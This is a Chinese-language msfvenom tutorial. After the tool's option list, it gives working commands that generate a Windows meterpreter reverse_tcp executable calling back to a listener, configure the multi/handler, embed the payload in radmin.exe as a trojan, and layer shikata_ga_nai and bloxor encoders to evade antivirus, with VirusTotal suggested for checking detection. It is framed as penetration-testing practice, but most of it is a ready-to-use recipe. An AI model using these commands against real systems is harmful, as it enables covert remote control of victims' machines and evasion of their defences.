Msfvenom
参数
MsfVenom - a Metasploit standalone payload generator.
Also a replacement for msfpayload and msfencode.
Usage: /usr/bin/msfvenom [options] <var=val>
Example: /usr/bin/msfvenom -p windows/meterpreter/reverse_tcp LHOST= -f exe -o payload.exeOptions:
-l, --list List all modules for [type]. Types are: payloads, encoders, nops, platforms, archs, encrypt, formats, all
-p, --payload Payload to use (–list payloads to list, --list-options for arguments). Specify ‘-’ or STDIN for custom
–list-options List --payload 's standard, advanced and evasion options
-f, --format Output format (use --list formats to list)
-e, --encoder The encoder to use (use --list encoders to list)
–service-name The service name to use when generating a service binary
–sec-name The new section name to use when generating large Windows binaries. Default: random 4-character alpha string
–smallest Generate the smallest possible payload using all available encoders
–encrypt The type of encryption or encoding to apply to the shellcode (use --list encrypt to list)
–encrypt-key A key to be used for --encrypt
–encrypt-iv An initialization vector for --encrypt
-a, --arch The architecture to use for --payload and --encoders (use --list archs to list)
–platform The platform for --payload (use --list platforms to list)
-o, --outSave the payload to a file
-b, --bad-chars Characters to avoid example: ‘\x00\xff’
-n, --nopsled Prepend a nopsled of [length] size on to the payload
–pad-nops Use nopsled size specified by -n as the total payload size, auto-prepending a nopsled of quantity (nops minus payload length)
-s, --space The maximum size of the resulting payload
–encoder-space The maximum size of the encoded payload (defaults to the -s value)
-i, --iterations The number of times to encode the payload
-c, --add-codeSpecify an additional win32 shellcode file to include
-x, --templateSpecify a custom executable file to use as a template
-k, --keep Preserve the --template behaviour and inject the payload as a new thread
-v, --var-name Specify a custom variable name to use for certain output formats
-t, --timeout The number of seconds to wait when reading the payload from STDIN (default 30, 0 to disable)
-h, --help Show this message
创建payload程序
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.17.129 lport=6789 -f exe > mymalware.exe
-p:指定payload
lhost:指定回连IP地址
lport:指定回连端口
-f:指定文件类型
> :与 - o 同作用,输出payload到文件
创建好payload后,设置独立的连接受理程序:
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.17.129
set lport 6789
exploit
创建木马程序
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.17.129 lport=6789 -x /usr/share/windows-binaries/radmin.exe -k -f exe > radmin.exe
-x:指定宿主程序
-k:分配一个新的进程保证原程序的流畅性(在执行到payload时宿主程序会暂停)
提示没有指定目标系统跟平台架构以及编码器,暂时不用管,后面会用到。
此时就可以在桌面看到生成的木马程序。
规避查杀的编码技术
1.编码
编码器程序可以使攻击命令避免出现破坏性字符。
msfvenom -l encoder:查看提供的编码器
x86/shikata_ga_nai :优秀级别的编码器。shikata ga nai 是日语“覆水难收”的意思。
简单而言,经过此编码器的编码的payload很难被识别出原型。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.17.129 lport=6789 -e x86/shikata_ga_nai -i 10 -f exe -o mymalware.exe
-e:指定编码器
-i:编码器的编码迭代次数
-o:输出到文件
2.植入到木马程序再编码
将payload植入到宿主程序再进行编码:
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.17.129 lport=6789 -x /usr/share/windows-binaries/radmin.exe -k -e x86/shikata_ga_nai -i 10 -f exe > radmin.exe
3.编码器多重编码
-
第一步:
msfvenom -p window/meterpreter/reverse_tcp lhost=192.168.17.129 lport=6789 -e x86/shikata_ga_nai -i 10 -f raw > mymalware.bin -
第二步:
msfvenom -p - -f exe -a x86 --platform windows -e x86/bloxor -i 2 > mymalware.exe <mymalwave.bin
首先进行编码,但是没有直接生成exe格式的可执行文件,而是把处理后的文件输出为raw格式,同时将输出结果保存到.bin文件。
然后-p - 设置的payload为空,需要另外指定两个选项来设定编码方式:-a:平台架构为32位,–platform:目标系统为Windows系统。
再使用x86/bloxor编码器进行二次编码,生成exe文件,< 表示将第一步的输出结果作为输入传递给msfvenom。
作为渗透测试领域的知名平台,metasploit受到防病毒软件厂商的高度关注,其生成的payload跟创建的模板程序早就已经成为反病毒软件的重点检测目标。
以上规避方法只是作为一个手段,具体隐蔽效果因人而异。
可将生成的文件上传至https://www.virustotal.com网站进行检测,是一个专门的防病毒软件检测平台。